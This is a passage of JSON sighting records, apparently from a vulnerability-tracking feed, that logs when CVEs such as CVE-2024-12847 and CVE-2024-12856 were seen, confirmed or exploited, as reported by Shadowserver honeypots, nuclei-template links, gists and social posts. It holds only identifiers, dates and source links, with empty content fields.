"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-16)", "content": "", "creation_timestamp": "2026-02-16T00:00:00.000000Z"}, {"uuid": "86ce6b32-c07c-4eb8-afd0-86f22c085189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-02)", "content": "", "creation_timestamp": "2026-02-02T00:00:00.000000Z"}, {"uuid": "06d3fd42-ef6a-4732-96a8-616daf99fc4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mfdedpwzf52x", "content": "", "creation_timestamp": "2026-02-21T00:25:33.830547Z"}, {"uuid": "c1d26e21-0edd-40b5-a46b-7883068660be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-24)", "content": "", "creation_timestamp": "2026-02-24T00:00:00.000000Z"}, {"uuid": "9a402c7a-8ded-4666-a10c-e8b3960af6d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-06)", "content": "", "creation_timestamp": "2026-03-06T00:00:00.000000Z"}, {"uuid": "3d3edfad-2661-4f2e-85e7-bad9a85bed92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12737", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12737.yaml", "content": "", "creation_timestamp": "2026-02-11T14:53:32.000000Z"}, {"uuid": "f157f036-4f9f-4a6c-9635-7f1f8fe0636a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/ayoubzulfiqar/5b320151951fbdba0fb72a578f7b57ef", "content": "", "creation_timestamp": "2026-02-12T09:05:29.000000Z"}, {"uuid": "41f48127-0575-4ee6-a277-b215a483a2ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-17)", "content": "", "creation_timestamp": "2025-12-17T00:00:00.000000Z"}, {"uuid": "f1e49803-cbab-46a8-933a-59ecb181e0ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-01)", "content": "", "creation_timestamp": "2026-02-01T00:00:00.000000Z"}, {"uuid": "d247c19a-416f-47d5-9bf1-0e8cb418fa90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-21)", "content": "", "creation_timestamp": "2026-02-21T00:00:00.000000Z"}, {"uuid": "dcdbf12d-8760-4f66-b132-a37912eb840a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-26)", "content": "", "creation_timestamp": "2026-02-26T00:00:00.000000Z"}, {"uuid": "30a629b3-650d-4349-b4c5-a90d478f3288", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-30)", "content": "", "creation_timestamp": "2026-01-30T00:00:00.000000Z"}, {"uuid": "45829699-0bf8-4a26-953b-245cfff3c32f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-18)", "content": "", "creation_timestamp": "2026-02-18T00:00:00.000000Z"}, {"uuid": "92e9526c-9398-4ac5-9097-761c5b07b18a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-03)", "content": "", "creation_timestamp": "2026-02-03T00:00:00.000000Z"}, {"uuid": "9787ccd8-59da-4b26-92da-e0fd6587cc8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12724", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12724.yaml", "content": "", "creation_timestamp": "2026-02-06T16:21:41.000000Z"}, {"uuid": "c609b92a-959a-4860-8c4d-bcc081fb870a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-04)", "content": "", "creation_timestamp": "2026-02-04T00:00:00.000000Z"}, {"uuid": "f55b1087-6708-4b2a-a5b7-b22dc095e9aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-11)", "content": "", "creation_timestamp": "2026-02-11T00:00:00.000000Z"}, {"uuid": "6f0a8f9c-4569-4f85-b9ef-6711e66d47f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-28)", "content": "", "creation_timestamp": "2026-01-28T00:00:00.000000Z"}, {"uuid": "fd484e87-6886-4250-95be-c9a8126315d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-16)", "content": "", "creation_timestamp": "2026-02-16T00:00:00.000000Z"}, {"uuid": "1f89a2a6-51ff-4b48-aea9-3fde5e8da686", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-14)", "content": "", "creation_timestamp": "2026-02-14T00:00:00.000000Z"}, {"uuid": "9949ae36-66a6-4f72-bd3c-a98c39da380d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-24)", "content": "", "creation_timestamp": "2026-02-24T00:00:00.000000Z"}, {"uuid": "162cec8f-abab-438f-b0d1-8f154affa8ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-06)", "content": "", "creation_timestamp": "2026-02-06T00:00:00.000000Z"}, {"uuid": "bffee5bf-d31d-41af-abb8-394775a453f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-21)", "content": "", "creation_timestamp": "2026-02-21T00:00:00.000000Z"}, {"uuid": "a0ad34fd-5518-42df-8645-6fa987a78a74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-04)", "content": "", "creation_timestamp": "2026-02-04T00:00:00.000000Z"}, {"uuid": "24df1378-4ada-4b31-9ec8-25b0a07e7518", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12873", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12873.yaml", "content": "", "creation_timestamp": "2026-02-06T15:51:26.000000Z"}, {"uuid": "13a36596-1a4d-46f8-8018-f3f287068ae9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-05)", "content": "", "creation_timestamp": "2026-03-05T00:00:00.000000Z"}, {"uuid": "5415d09a-47b6-45cb-bcc1-9a27caf90798", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-06)", "content": "", "creation_timestamp": "2026-03-06T00:00:00.000000Z"}, {"uuid": "53d785cc-487d-4d42-b644-b4eafcacaa33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12652", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg3rabsjmi2a", "content": "", "creation_timestamp": "2026-03-02T17:20:10.609630Z"}, {"uuid": "193155dd-6c14-4c79-a7b9-d29f13be6b1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://gist.github.com/mbijon/e171b6d76ed664ff9e2e38813aa8c61e", "content": "", "creation_timestamp": "2025-12-21T20:45:06.000000Z"}, {"uuid": "0932a0a9-98e7-4369-9ee7-1a7038d2425e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/aurixai-solutions/313b026594574c70a22f8d72ef7c665b", "content": "", "creation_timestamp": "2026-02-21T06:48:02.000000Z"}, {"uuid": "37f87f01-003d-481c-9344-88761e48e824", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-22)", "content": "", "creation_timestamp": "2025-12-22T00:00:00.000000Z"}, {"uuid": "ccf371b5-8324-4696-8e44-cf6712d7cda3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-08)", "content": "", "creation_timestamp": "2026-03-08T00:00:00.000000Z"}, {"uuid": "769fb096-f1e3-4fd9-94ab-994453ea85bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-26)", "content": "", "creation_timestamp": "2026-02-26T00:00:00.000000Z"}, {"uuid": "1e5c93dd-d898-4598-a6c3-7a02d042f2d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-29)", "content": "", "creation_timestamp": "2026-01-29T00:00:00.000000Z"}, {"uuid": "f8516a41-e23d-417e-9dc6-9be9d862132c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-23)", "content": "", "creation_timestamp": "2025-12-23T00:00:00.000000Z"}, {"uuid": "0a0be473-d462-4a41-903b-372c3e510717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-24)", "content": "", "creation_timestamp": "2026-02-24T00:00:00.000000Z"}, {"uuid": "ef6b7f23-e1d5-422d-ad9f-37f58a94f143", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-02)", "content": "", "creation_timestamp": "2026-03-02T00:00:00.000000Z"}, {"uuid": "2025d359-3528-44f4-8132-1576fa69cc3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-01)", "content": "", "creation_timestamp": "2026-02-01T00:00:00.000000Z"}, {"uuid": "f88e1a82-131e-4ac6-ab06-f84fe6677f1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-04)", "content": "", "creation_timestamp": "2026-02-04T00:00:00.000000Z"}, {"uuid": "0d9c03d5-5d68-4425-940f-92c97d116499", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-18)", "content": "", "creation_timestamp": "2026-02-18T00:00:00.000000Z"}, {"uuid": "0154c898-6ed1-49a3-9e05-1a268dcee7ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-23)", "content": "", "creation_timestamp": "2025-12-23T00:00:00.000000Z"}, {"uuid": "7aecee57-3695-4519-bfb9-7963ddad2fe7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-30)", "content": "", "creation_timestamp": "2026-01-30T00:00:00.000000Z"}, {"uuid": "36074f1c-ab73-4125-b2f5-d8dce10fb79e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-03)", "content": "", "creation_timestamp": "2026-02-03T00:00:00.000000Z"}, {"uuid": "fa4a75ae-9350-4484-be96-9695b84a7055", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-24)", "content": "", "creation_timestamp": "2025-12-24T00:00:00.000000Z"}, {"uuid": "a84beaed-a1f0-461a-9052-ba18440e0118", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-26)", "content": "", "creation_timestamp": "2026-02-26T00:00:00.000000Z"}, {"uuid": "033ab400-9946-41f6-995c-df7607f98193", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-24)", "content": "", "creation_timestamp": "2025-12-24T00:00:00.000000Z"}, {"uuid": "f1f593be-3aa3-433b-bc05-aa493ea09697", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-11)", "content": "", "creation_timestamp": "2026-02-11T00:00:00.000000Z"}, {"uuid": "49146a40-d3a4-46bf-b341-17a59b61c28e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-26)", "content": "", "creation_timestamp": "2025-12-26T00:00:00.000000Z"}, {"uuid": "ad2f9409-c8dd-45b2-9f05-5ed0e81913a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-28)", "content": "", "creation_timestamp": "2026-01-28T00:00:00.000000Z"}, {"uuid": "93c058b6-e673-4650-9a34-296237ccd3c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-19)", "content": "", "creation_timestamp": "2026-02-19T00:00:00.000000Z"}, {"uuid": "ff442646-e110-40fa-bc3b-2955bb87e21f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-06)", "content": "", "creation_timestamp": "2026-03-06T00:00:00.000000Z"}, {"uuid": "824f36a6-7e55-482b-9dc0-3c6908f85262", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-14)", "content": "", "creation_timestamp": "2026-02-14T00:00:00.000000Z"}, {"uuid": "70ab7ef1-6f2c-4668-9df0-dd2679ae2027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-20)", "content": "", "creation_timestamp": "2026-02-20T00:00:00.000000Z"}, {"uuid": "9498d7a1-fadf-41bf-bb66-351794d38ce7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-28)", "content": "", "creation_timestamp": "2026-02-28T00:00:00.000000Z"}, {"uuid": "3b0ee1e8-4c7b-410d-826e-d7f9732291c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-05)", "content": "", "creation_timestamp": "2026-03-05T00:00:00.000000Z"}, {"uuid": "91772dd7-b042-41e0-8cfd-567d255dfa10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-09)", "content": "", "creation_timestamp": "2026-03-09T00:00:00.000000Z"}, {"uuid": "fe4a693f-7cdc-40c3-903a-0477f07e118b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-29)", "content": "", "creation_timestamp": "2026-01-29T00:00:00.000000Z"}, {"uuid": "dda76b73-9285-4668-8385-96669fd49d57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-29)", "content": "", "creation_timestamp": "2025-12-29T00:00:00.000000Z"}, {"uuid": "55155e37-2a69-4ed0-aaeb-abb806397567", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-08)", "content": "", "creation_timestamp": "2026-02-08T00:00:00.000000Z"}, {"uuid": "eaf8919e-d0ad-4a5a-a274-679ac7b39bd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-13)", "content": "", "creation_timestamp": "2026-02-13T00:00:00.000000Z"}, {"uuid": "2982921e-6a40-4472-9c47-06e0a19f5710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-04)", "content": "", "creation_timestamp": "2026-03-04T00:00:00.000000Z"}, {"uuid": "171526f6-eca9-4c43-bef6-8412f1ce21a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12734", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3meccxheos72i", "content": "", "creation_timestamp": "2026-02-07T21:02:56.868495Z"}, {"uuid": "e7f5369d-7108-4062-95ba-01d1a4a5c673", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-20)", "content": "", "creation_timestamp": "2026-02-20T00:00:00.000000Z"}, {"uuid": "06d56490-4ec3-4e7f-b501-67e76f4b1126", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-29)", "content": "", "creation_timestamp": "2026-01-29T00:00:00.000000Z"}, {"uuid": "f1e130c8-826c-437e-a92b-54fa558cd4e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-27)", "content": "", "creation_timestamp": "2026-02-27T00:00:00.000000Z"}, {"uuid": "9d2dab2e-7cd4-49b1-9cad-48392895188a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-04)", "content": "", "creation_timestamp": "2026-03-04T00:00:00.000000Z"}, {"uuid": "4ac9d3ea-75e7-4826-8564-3c329eae8e3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-29)", "content": "", "creation_timestamp": "2025-12-29T00:00:00.000000Z"}, {"uuid": "cf4cc331-5846-4422-a446-68404d99302e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/johnmillerATcodemag-com/6197fcf6c9000612e97935ad88d79021", "content": "", "creation_timestamp": "2025-12-30T16:44:44.000000Z"}, {"uuid": "94025959-0a47-4975-bee2-1e530b33709b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-30)", "content": "", "creation_timestamp": "2025-12-30T00:00:00.000000Z"}, {"uuid": "8abe5605-98d1-412c-8ab0-554c131f2b81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-05)", "content": "", "creation_timestamp": "2026-03-05T00:00:00.000000Z"}, {"uuid": "f2d5da20-aa99-4686-b42d-3c7a1a9a939a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-07)", "content": "", "creation_timestamp": "2026-03-07T00:00:00.000000Z"}, {"uuid": "e077c337-4a06-4672-a36e-b7404b08d63e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-28)", "content": "", "creation_timestamp": "2026-02-28T00:00:00.000000Z"}, {"uuid": "553a74c3-7e0f-41c0-99de-1ceefa2058f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-05)", "content": "", "creation_timestamp": "2026-03-05T00:00:00.000000Z"}, {"uuid": "51983c94-d93d-443c-a31e-c0092b361d72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mftp4jriqm2z", "content": "", "creation_timestamp": "2026-02-27T12:20:59.145215Z"}, {"uuid": "d6a7d991-b450-431c-95e7-aa3b623583e3", "vulnerability_lookup_origin": 